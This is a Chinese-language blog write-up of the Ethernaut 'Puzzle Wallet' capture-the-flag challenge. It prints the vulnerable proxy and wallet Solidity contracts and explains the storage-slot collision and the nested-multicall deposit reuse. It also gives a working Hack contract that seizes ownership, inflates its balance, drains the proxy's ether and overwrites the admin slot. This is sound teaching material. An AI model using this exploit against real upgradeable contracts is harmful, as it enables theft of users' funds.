抱歉,您的浏览器无法访问本站
本页面需要浏览器支持(启用)JavaScript
了解详情 >

Puzzle Wallet

1. 题目要求

    1. 题目要求:成为代理合约中的管理者,即成为PuzzleProxy合约中的admin
    1. 题目代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
pragma experimental ABIEncoderV2;

import "../helpers/UpgradeableProxy-08.sol";

contract PuzzleProxy is UpgradeableProxy {
address public pendingAdmin;
address public admin;

constructor(address _admin, address _implementation, bytes memory _initData) UpgradeableProxy(_implementation, _initData) {
admin = _admin;
}

modifier onlyAdmin {
require(msg.sender == admin, "Caller is not the admin");
_;
}

function proposeNewAdmin(address _newAdmin) external {
pendingAdmin = _newAdmin;
}

function approveNewAdmin(address _expectedAdmin) external onlyAdmin {
require(pendingAdmin == _expectedAdmin, "Expected new admin by the current admin is not the pending admin");
admin = pendingAdmin;
}

function upgradeTo(address _newImplementation) external onlyAdmin {
_upgradeTo(_newImplementation);
}
}

contract PuzzleWallet {
address public owner;
uint256 public maxBalance;
mapping(address => bool) public whitelisted;
mapping(address => uint256) public balances;

function init(uint256 _maxBalance) public {
require(maxBalance == 0, "Already initialized");
maxBalance = _maxBalance;
owner = msg.sender;
}

modifier onlyWhitelisted {
require(whitelisted[msg.sender], "Not whitelisted");
_;
}

function setMaxBalance(uint256 _maxBalance) external onlyWhitelisted {
require(address(this).balance == 0, "Contract balance is not 0");
maxBalance = _maxBalance;
}

function addToWhitelist(address addr) external {
require(msg.sender == owner, "Not the owner");
whitelisted[addr] = true;
}

function deposit() external payable onlyWhitelisted {
require(address(this).balance <= maxBalance, "Max balance reached");
balances[msg.sender] += msg.value;
}

function execute(address to, uint256 value, bytes calldata data) external payable onlyWhitelisted {
require(balances[msg.sender] >= value, "Insufficient balance");
balances[msg.sender] -= value;
(bool success, ) = to.call{ value: value }(data);
require(success, "Execution failed");
}

function multicall(bytes[] calldata data) external payable onlyWhitelisted {
bool depositCalled = false;
for (uint256 i = 0; i < data.length; i++) {
bytes memory _data = data[i];
bytes4 selector;
assembly {
selector := mload(add(_data, 32))
}
if (selector == this.deposit.selector) {
require(!depositCalled, "Deposit can only be called once");
// Protect against reusing msg.value
depositCalled = true;
}
(bool success, ) = address(this).delegatecall(data[i]);
require(success, "Error while delegating call");
}
}
}

2. 分析

2.1 这是一道涉及到代理合约的题。本质上proxy合约最主要的函数为,回调函数,该回调函数采用了内联汇编的方式来实现,极大的提高的代码的扩容性。其采用的是delegatecall的方式进行函数调用,因为其调用方式,所以逻辑合约中操作的数据是从代理合约中获取。

2.2 有段时间没碰代理合约了,有点细节还是要注意的。就比如采用delegatecall的调用方式,其代码会被复制到代理合约中,就比如这里,我但是懵了一会。

image-20230817211808461

这里我是模拟题目,我以owner的身份将指定的地址加入到白名单,在PuzzleWallet中查看该地址是否被列入白名单,结果是显示true,但是我通过直接发送calldata的形式,触发代理合约的回调函数,结果显示其未被列入白名单。我当时想了好久,原来是因为,在代理合约中,这些操作不在代理合约中执行过,即该地址在代理合约中未被记录,所以其返回值为false。所以只能在代理合约中执行加入白名单才行。

2.3 又有,该题最本质的漏洞在于,***插槽冲突***。而且,代理模式读取的数据是代理合约中的变量,这一行为意味着,逻辑合约中的一些断言,比如require(msg.sender == owner, "Not the owner");将不与逻辑合约有关系,其owner的值,实际上是代理合约pendingAdmin的值,只要通过proposeNewAdmin()就可以成为钱包的所有者,可以操作钱包(逻辑合约)。

2.4 同理,只有修改逻辑合约中的变量,便会反作用于代理合约。即调用setMaxBalance()函数,明面上是修改maxBalance实际上是修改PuzzleProxy admin的值。

2.5 所以本题关键在于,成功调用setMaxBalance()

1
2
3
4
function setMaxBalance(uint256 _maxBalance) external onlyWhitelisted {
require(address(this).balance == 0, "Contract balance is not 0");
maxBalance = _maxBalance;
}

onlyWhitelisted修饰器,我已经有办法成为钱包的所有者,可以将某一地址添加到白名单之中。最主要的是通过断言require(address(this).balance == 0, "Contract balance is not 0");。因为在PuzzleProxy 合约中有0.001ether所以要想办法将钱取出来。

2.6 如果是正常按照execute进行取钱的话,是不可能将合约的余额置空的。而multicall函数便可以实现,该函数有一个漏洞,便是不检查自身函数的调用,因为判断判断条件为局部变量,而修改的balances映射则是成员变量,每当调用一个函数,便会开辟一个新的内存空间(以栈的形式),此时函数体中的局部变量就会恢复成默认值。这就是漏洞所在,因为函数检查不能多次调用deposit(),以depositCalled 该变量进行判断,只要进行自身调用,即使之前执行过deposit()函数,但在新·开辟的内存空间中,该值还是false,而且他们修改的值都是成员变量,这意味着,可以简单的实现:存一取多

通过一个简单的示例验证猜想:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
contract Proxy {
mapping(address => uint256) public balances;
address public implementation;

constructor(address implementation_){
implementation = implementation_;
}

fallback() external payable {

address _implementation = implementation;
assembly {

calldatacopy(0, 0, calldatasize())
let result := delegatecall(gas(), _implementation, 0, calldatasize(), 0, 0)

returndatacopy(0, 0, returndatasize())

switch result

case 0 {
revert(0, returndatasize())
}

default {
return(0, returndatasize())
}
}
}
}

contract PuzzleWallet {

mapping(address => uint256) public balances;

function deposit() external payable {
require(address(this).balance <= 1 ether, "Max balance reached");
balances[msg.sender] += msg.value;
}

function multicall(bytes[] calldata data) external payable {
bool depositCalled = false;
for (uint256 i = 0; i < data.length; i++) {
bytes memory _data = data[i];
bytes4 selector;
assembly {
selector := mload(add(_data, 32))
}
if (selector == this.deposit.selector) {
require(!depositCalled, "Deposit can only be called once");
// Protect against reusing msg.value
depositCalled = true;
}
(bool success, ) = address(this).delegatecall(data[i]);
require(success, "Error while delegating call");
}
}
}


contract Hack {

Proxy wallet;
bytes[] data1 = new bytes[](1);
bytes[] data2 = new bytes[](2);

constructor(address payable _wallet) {
wallet = Proxy(_wallet);
data1[0] = abi.encodeWithSelector(PuzzleWallet.deposit.selector);
data2[0] = abi.encodeWithSelector(PuzzleWallet.deposit.selector);
data2[1] = abi.encodeWithSelector(PuzzleWallet.multicall.selector, data1);
}

function attack() public payable {


// 将proxy中的余额转走 {value:0.001 ether}
(bool success2, ) = address(wallet).call{value:0.001 ether}(abi.encodeWithSelector(PuzzleWallet.multicall.selector, data2));
require(success2, "multicall() is fail");

}

function repay() public {
selfdestruct(payable(msg.sender));
}
}

因为数据在代理合约(Proxy)中加载,所以在其合约中写入balances映射,用于检查是否实现了存一取多。

部署wallet==>将wallet传入proxy构造器并部署==> 将proxy传入hacker部署,调用attack函数,并支付0.001ether,回到proxy中查看调用者的balances,显示为0.002ether,猜想正确.

image-20230818140007336

3. 解题

攻击合约:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
contract Hack {

PuzzleProxy proxy;
bytes[] data1 = new bytes[](1);
bytes[] data2 = new bytes[](2);

constructor(address payable _proxy) {
proxy = PuzzleProxy(_proxy);
data1[0] = abi.encodeWithSelector(PuzzleWallet.deposit.selector);
data2[0] = abi.encodeWithSelector(PuzzleWallet.deposit.selector);
data2[1] = abi.encodeWithSelector(PuzzleWallet.multicall.selector, data1);
}

function attack() public payable {
// 获取钱包的所有权
proxy.proposeNewAdmin(address(this));

// 将本地址列入白名单
(bool success1, ) = address(proxy).call(abi.encodeWithSignature("addToWhitelist(address)", address(this)));
require(success1, "addToWhitelist() is fail");

// 骗取balance的值
(bool success2, ) = address(proxy).call{value:0.001 ether}(abi.encodeWithSelector(PuzzleWallet.multicall.selector, data2));
require(success2, "multicall() is fail");

// 将proxy中的余额转走
(bool success4, ) = address(proxy).call(abi.encodeWithSelector(PuzzleWallet.execute.selector, address(this), 0.002 ether, ""));


// 获取admin身份
(bool success3, ) = address(proxy).call(abi.encodeWithSignature("setMaxBalance(uint256)", uint(uint160(msg.sender))));
require(success3, "setMaxBalance() is fail");
}

function repay() public {
selfdestruct(payable(msg.sender));
}

receive() external payable {}
}

攻击方式:通过生成的示例部署Hack,然后调用attack()函数,并支付0.001ether

解题成功

image-20230818140753408

评论



政策 · 统计 | 本站使用 Volantis 主题设计